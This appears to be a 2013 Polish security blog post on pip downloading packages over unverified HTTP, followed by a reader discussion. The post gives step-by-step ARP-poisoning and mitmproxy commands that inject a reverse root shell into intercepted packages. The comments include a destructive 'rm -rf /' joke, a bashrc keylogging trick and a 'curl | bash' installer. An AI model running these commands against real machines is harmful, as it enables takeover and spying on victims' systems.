3/2/2013
pip ściąga paczki po HTTP, działa z prawami roota i nie weryfikuje autentyczności pobieranych plików. To oznacza, że użytkownicy pipa dają uprawnienia roota na swoich maszynach każdemu, kto może przejąć ich połączenie, czyli przeprowadzić tzw. atak Man in the Middle (np. arp poisoning). Atak ten jest stosunkowo prosty do wykonania w większości sieci LAN oraz otwartych lub chronionych WEP-em sieciach WiFi.
Przechwytywanie paczek instalowanych przez pip
Jeden z internautów stworzył skrypt pip_intercept.py, który przejmuje wszystkie paczki instalowane z PyPi. Skrypt rozpakowuje je, dodaje do pliku setup.py dodatkową linijkę, która sprawia, że ofiara nieświadomie nawiązuje połączenie z maszyną atakującego udostępniając mu shella na prawach roota.
Instrukcje ataku są proste, po ściągnięciu pip_intercept.py należy wydać następujące polecenia:
sudo apt-get install atool
sudo pip install mitmproxy
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
mitmproxy -T -z -s pip_intercept.py
sudo ettercap -o -T -P repoison_arp -M arp:remote /GATEWAY_IP/ /OFIARA_IP/
nc -l 4444
…i poczekać, aż ofiara postanowi ściągnąć jakąś paczkę poprzez pipa.
Nic nowego, po prostu niedbałość
Powyższy atak to tak naprawdę nic nowego, ot ciekawe zobrazowanie skutków ataku MITM. Miejmy nadzieję, że wypuszczenie narzędzia pip_intercept.py, podobnie jak było to w przypadku dodatku Firesheep, wymusi na PyPi podniesienie bezpieczeństwa instalacji paczek poprzez zablokowanie pobierania ich nie po SSL-u oraz rozpoczęcie ich podpisywania.
Przypomnijmy, że wektor ataku polegający na podmianie instalowanych paczek został wykorzystany we Flame — robak spoofował certyfikat Microsoftu i podszywał sie pod mechanizm Windows Update.
P.S. Dla odmiany, tym razem problem nie dotyczy Ruby’ego — gem korzysta z SSL i weryfikuje certyfikaty. A jeśli coś się nie zgadza, wyświetla następujący komunikat:
WARNING: Error fetching data: SSL_connect returned=1 errno=0 state=SSLv3 read server certificate B: certificate verify failed (https://rubygems.org/latest_specs.4.8.gz)
ERROR: While executing gem ... (Gem::RemoteFetcher::FetchError)
SSL_connect returned=1 errno=0 state=SSLv3 read server certificate B: certificate verify failed (https://rubygems.org/gems/bundler-1.2.3.gem)
W dwóch słowach: użytkownik pipa
sudo: apt-get: nie znaleziono polecenia
Nie masz apta na swej maszynie, być może spróbuj yum. Pomocne by było info, jakie distro.
„należy wydać następujące polecenia”
Jeśli pisze, że należy, to wpisuję. Gdybyśmy byli na jakimś byle jakim blogu, to bym oczywiście przymknął oko na brak świadomości autora, że na Debianie świat się nie kończy. No, ale my nie jesteśmy na jakiś byle jakim blogu. A może jesteśmy?
> Jeśli pisze, że należy, to wpisuję.
Nalezy wpisac: sudo rm -rf /
> Gdybyśmy byli na jakimś byle jakim blogu
…to autor musialby tlumaczyc jak wyklikac okienko terminala ;-)
Usuwanie rekurencyjne? Z takimi kwiatkami, to faktycznie nie miałbym już wątpliwości gdzie jestem.
… gdzieś gdzie większość z publiki ma podstawowe pojęcie
o tym jak zainstalować paczkę w systemie ?
pomyliles blogi trollu…
http://lmgtfy.com/?q=linux+managery+pakietow
Większość ma pojęcie jak zainstalować paczkę w systemie? To po jakiego grzyba autor tłumaczy takie banały? A jeśli to nie są banały, to czemu to banalizuje sprowadzając problem do apt-get którego używają tylko wybranej dystrybucje?
Ale Ty jesteś troll, że aż głowa boli. Autor podał przykładowy sposób zastosowania skryptu na przykładowej dystrybucji linuxa. Najprawdopodobniej dlatego, że na reddit’ie jest opisane to zastosowanie krok po kroku właśnie dla debiana/ubuntu. CHcesz sobie poużywać na innej dystrybucji, to zrób to we właściwy dla niej sposób. Na prawdę nie masz większych problemów niż debata o tym, że nie działa Ci sudo apt-get i autor nie raczył wspomnieć, że tak może być?
wpisz w kąsolę sudo uname -a pierwszą podpowiedzią jest
prośba o hasło. Jeśli poprosi to debianopochodne (np. Ubuntu lub
Mint), jeśli się spruje, że nie zna polecenia pisz su i podaj hasło
na roota, następnie uname -a i system powinien się przedstawić.
polecenie su nazwa_użytkownika, ew. su -c wraca do normalnego
usera. Jeśli już wiesz jaki masz system udaj się na forum dla
userów właściwego distro :) Generalnie w internecie jest masa forów
dla linuxowych newbie. To się nazywa potęga open source.
Piękna ironia nie uważacie?
Czytając bloga o bezpieczeństwie it wpisywać bez zrozumienia polecenia z uprawnieniami su – bo to wynika z twojego posta jak sarkastyczny lub cwany tobie się wydawał.
To jest przykład. Jak nie potrafisz rozszyfrować i zweryfikować jakie akcje wiążą się z danym poleceniem i z tą informacją wykonać adekwatne polecenia mające ten sam efekt na “swojej wybranej dystrybucji” to może nie powinieneś… Troll.
Zacznijmy od tego, że wyszedłeś z założenia, że nie wiem do czego służy apt-get i jak się go używa. I może na tym zakończmy…
A co jeśli ktoś korzysta z virtualenva i używa pipa na prawach swojego usera wewnątrz tego virtualenva? (-;
Wtedy jak już, będzie dostęp tylko do takiego usera (w najgorszej sytuacji)?
Wtedy ma shella jako user odpalający virtualenva :) co i
tak daje spory wachlarz możliwości ;)
“na prawach swojego usera” instaluje keyloggera i czeka aż
user zaloguje sie do czegoś lub użyje su/sudo
Szkoda że na Linuksa keyloggera się napisać nie da…
jeżeli tylko w konsoli to wystarczy dodać gdzieś w bashrc
script -a -q /tmp/log
;]
po bardziej zaawansowany trzebaby szukać po Xach jak przechwycić eventy ale dla chcącego ;]
Nie da? Ah… ta ślepa wiara linuksowców w swój OS. Google: linux keylogger
;)
not sure if trolling…
@SuperTux: da się dla aplikacji X11… klawisze są współdzielone dla całych Xsów i każda aplikacja wie o wciśnięciu danego klawisza.
Nie da sie, naprawili xinput z rok temu. Masz stare info
apt-cache search keylogger
logkeys – a keylogger for GNU/Linux systems
keylogger na prawach roota to zupelnie inna bajka, tutaj mowa o keyloggerze na prawach usera.
Ciekawe czy cpan(p/m) też może być tak wykorzystany.
to zależy od tego jaki mirror mu dasz, jak każesz mu
sciągać po FTPie czy po HTTP to nie. Ale problem nie kończy się na
tym czy transport jest po SSL, należy też rozważyć przypadek gdy
ktoś np. zchaczy konto popularnej biblioteki i podrzuci
niespodziankę, obchodząc całe security systemu dystrybucji (bo np.
autor liba miał chujowe hasło do poczty). i gem i CPAN obsługują
też podpisywanie paczek GPG i wtedy teoretycznie można zweryfikować
czy nikt nie grzebał przy paczce ale praktycznie to niestety mało
stuffu jest podpisane a nawet jeżeli to też nie gwarantuje
“pewności”. Niestety, każdy język programowania uparł się żeby
duplikować funkcjonalność systemowego menadżera pakietów (co
jeszcze ma sens bo co system to inny) bez kopiowania sprawdzonych
rozwiązań (chociażby sensowne podpisywanie i zarządzanie
kluczami)
CPAN uzwa plików checksums, np. http://www.cpan.org/authors/id/G/GR/GRANTM/CHECKSUMS
plus opcjonalnie podpisy cyfrowe dla paczek
Typowe lenistwo. Podpisywanie paczek w Archu też było
uznawane za nie potrzebne a potem zostało dodane w rekordowym
czasie :P
Te dedykowane repo dla konkretnych języków skryptowych (cpan, pip, gem) to masakra imho. Tak jakby jakimś problemem było zpaczkować te wszystkie liby dla danych dystrybucji i trzymać je na ich repo tak jak robi reszta języków. Python i Perl część mają zpaczkowane zwykle, ale Ruby to jedzie niemal po całości.
@Cyber Killer nie bardzo rozumiem, chciałbyś to ściągać
razem z dystrybucją, bo tych bibliotek trochę już jest. Nie wiem
jak w przypadku pozostałych, ale w cpanie lądują też biblioteki nie
do końca sensowne (cały pakiet Acme). Zresztą Java też ma osobne
repozytorium. W zasadzie to każdy może stworzyć własne repozytorium
dla Javy, wystarczy wystawić folder z jarami i odpowiednimi
xmlami
Jaka niby reszta jezyków? Pip, gem to właśnie jedno z
lepszych co ma Python/Ruby.
Nie do końca, bo co gdy użytkownik A i B potrzebują tej samej paczki ale w inne wersji, np. 2.11 i 3.2 ? Demokratycznie przyjmują którą wersję instaluje admin ? ;-)
W Pythonie tworzy się tak zwany virtualenv, dla każdego projektu i w ramach tego środowiska instalowane są pakiety (instalacja odbywa się jako użytkownik, beż uprawnień roota).
Ano chciałbym żeby to było zpaczkowane tak jak te liby które już są. Przykładowo mam na repo takie paczki jak python-qt4, python-gtk i sporo jeszcze innych. Kwestia różnych wersji jest zazwyczaj robiona tak że jeśli biblioteki w zależności od wersji są ze sobą niezgodne to mają osobne paczki, które można zainstalować obok siebie.
@Sharpek Da się to zrobić odpowiednio zmieniając nazwę paczek np. paczka2.11 paczka2.12 paczka3.2 .
Bezdura. Bo co jeśli debian stable używa pythona 2.6 (właśnie między innymi dlatego że dodanie 2.7 wymagałoby sprawdzenia kompatybilności każdej paczki ze wspomnianym 2.7), a ja sobie zainstaluje na boczku interpreter 2.7 (python-homebrew) oraz wszystkie potrzebne paczki.
Wszyscy szczęśliwi — i ja mam nowe zabawki i ludzie od debiana nie mają roboty a i admin nie musi sie martwić.
akurat same wersję języków w debianie są tak zrobione że po instalacji np. 2.6, 2.7 będziesz miał /usr/bin/python2.6 i /usr/bin/python2.7. tak samo oddzielne katalogi libów, i wszystko ładnie ze sobą gra ;]. Cuda z envami trzeba robić gdy chcesz inne wersje libów pod tym samym interpreterem ale tu każdy język ma coś własnego.
Z jednej strony chujowo że każdy język ma innego managera ale z drugiej strony pozwalają one na łatwe zainstalowanie środowiska które ma takie same wersję libów jak “produkcja”.
Co fajniejsze (np. perlbrew to ma) pozwalają na kolejne odpalanie aplikacji na różnych zestawach libów i wersji interpretera więc można łatwo zweryfikować że app pójdzie zarówno na starych jak i nowych systemach
@Jacek: no i właśnie do tego się cały problem sprowadza – niektórzy dziwni userzy przychodzący z innych OSów nie chcą się podporządkować woli ludzi robiących distro i chcą mieć nowe wersje teraz-zaraz, zamiast zaczekać na nowy release całości z nowymi paczkami. I potem pojawiają się takie cuda jak te pipy, gemy, cpany itd o które się cała dyskusja toczy.
nie wiesz o czym piszesz
Jakby potrzeba posiadania nowych wersji była grzechem. Tak nie chcę czekać na wydanie nowego debiana stable, ale pisanie teraz nowego softu pod pythona 2.6 to strzał w stopę, bo prędzej niż później będzie trzeba to wszystko przepchnąć na 3.3.
Nie mówiąc już o takiej sytuacji że jedna webaplikacja potrzebuje django 1.3 i na 1.5 się wiesza, a druga korzysta z ficzerów 1.5. I nie debian nie ma paczki python-django-1.5 i można mieć jedną systemową wersję tej biblioteki.
W skrócie:
* Pozasystemowe managery paczek rozwiązują wiele problemów;
* Systemowe repozytoria choć dobre, nie są lekiem na całe zo świata;
Cyber Killer zgłaszasz sie na ochotnika ?
Oj dobrze wiem o czym piszę… Jestem adminem w firmie robiącej software (m.in. stronki www również). Jak widzę jak mi taki developer życzy sobie maszynę np z Debianem i pierwsze co robi to wewnątrz home wrzuca statyczną “paczkę” XAMPP zassaną z www (jeszcze pół biedy jak to z oficjalnej stronki zassa a nie z dobreprogramy :-P ) i na niej developuje projekt, a potem takie coś idzie do klienta jako rekomendowana metoda deploymentu całości to mnie krew za-le-wa! I potem są rozsiane po świecie produkcyjne maszyny na których są archaiczne usługi chodzące, bo kiedyś ktoś tylko rozpakował zipa z serwerem, a liby są zaciągane z jakichś pozadistro źródeł, wszystko nieupdateowalne z repo dystrybucji, itp itd… a na koniec to na adminów ludzie bluzgają że serwer nie jest należycie zabezpieczony :-P.
@Cyber Killer
O to to to! Nie wiem, czy miałeś kiedyś w ręku magazyn Programista. Na 10 przykładów chyba w jednym zalecaną metodą instalacji było korzystanie z pacmana (lub alternatywnego rozwiązania dla innych dystrybucji!) Najczęściej jednak autor w notce każe kompilować ze źródeł… Krew zalewa.
programiści C nie mają takich problemów…
Programiści C piszą 5 razy tyle niepotrzebnego kodu ;)
Programiści C nie mają dylematów, czy korzystać z wersji 2.x, czy 3.x.
pip działa z prawami roota *jak mu każesz*, a robienie tego, w szczególności pod Linuksem, to debilizm. Pod Linuksem najlepiej instalować paczki dla *dystrybucji*, nie dla Pythona, albo używać virtualenv.
>> “od Linuksem najlepiej instalować paczki dla *dystrybucji*, nie dla Pythona”
Dlaczego?
Bo to jest korzystanie z koła wymyślanego na nowo, które w dodatku okazuje się marnej jakości.
@Kwpolska A potem mam pisać appsy na starych wersjach modułów bo jakiś maintainer był leniwy i nie wrzucił nowej wersji do repo dystrybucji…
Dobrze widzę, że instrukcja każe dać pip-owi prawa roota i zainstalować pakiet?
Całkiem pomysłowe :)
Używa się virtualenva dla Pythona, RVM dla Ruby i NVM dla node.js. Masz dzięki temu separację libów w wersjach jakich chcesz i interpretera również. Taka jest właściwa praktyka.
1. Dystrybucje Linuksa mają swoje menedżery pakietów (jak już wspomniano)
2. Duża część pakietów posiada instalatory dla Windows (PyQt, NumPy, SciPy, matplotlib itd.), jeśli nie na oficjalnej stronie to tutaj http://www.lfd.uci.edu/~gohlke/pythonlibs/
3. [Niezależnie od systemu operacyjnego] Zaleca się aby: pobrać plik virtualenv.py ze strony projektu i utworzyć wirtualne środowisko. Pip nie wymaga uprawnień administratora. Tak to działa:
http://i.imgur.com/fFEsHRx.png
Author of pip here (though not very involved anymore): I personally strongly believe you shouldn’t be installing packages as part of a deployment process, only as an explicit development step. In that context it’s not nearly as dangerous, though certainly certificate checking would be a good feature. It’s much harder to introduce malicious code when you are installing and verifying all upgrades and checking them into source control. (And that same process helps catch non-malicious code breakage.) Unfortunately managing vendor libraries with pip is not as easy as it should be.
Ciąg dalszy dyskusji na reddit.com:
http://www.reddit.com/r/Python/comments/17vhhg/pip_is_not_safe/
>Przypomnijmy, że wektor ataku polegający na podmianie instalowanych paczek został >wykorzystany we Flame — robak spoofował certyfikat Microsoftu i podszywał sie pod >mechanizm Windows Update.
Przepraszam, ale porownywanie nieznanego dotychczas ataku kryptograifcznego do MITM
po plain texcie brzmi niepowanie. Tool do MITM w takim wydaniu bardziej rozgarniety licealista jest w stanie napisac. 0daye mozna w necie czasem latajace po stronach znalezc. Ale nowy ataka kryptograficzny zastosowany w praktyce? Pokaz mi gdzie moge cos takiego kupic ;-)
Ze strony python homebrew:
The recommended way to download and install pythonbrew is to run these statements in your shell::
curl -kL http://xrl.us/pythonbrewinstall | bash
This keeps getting better and better.
Czegoś nie rozumiem, jeśli trzeba mieć roota żeby przekierować ruch na iptables, to co to za atak?
Roota potrzebujesz lokalnie na innym komputerze w danej
sieci.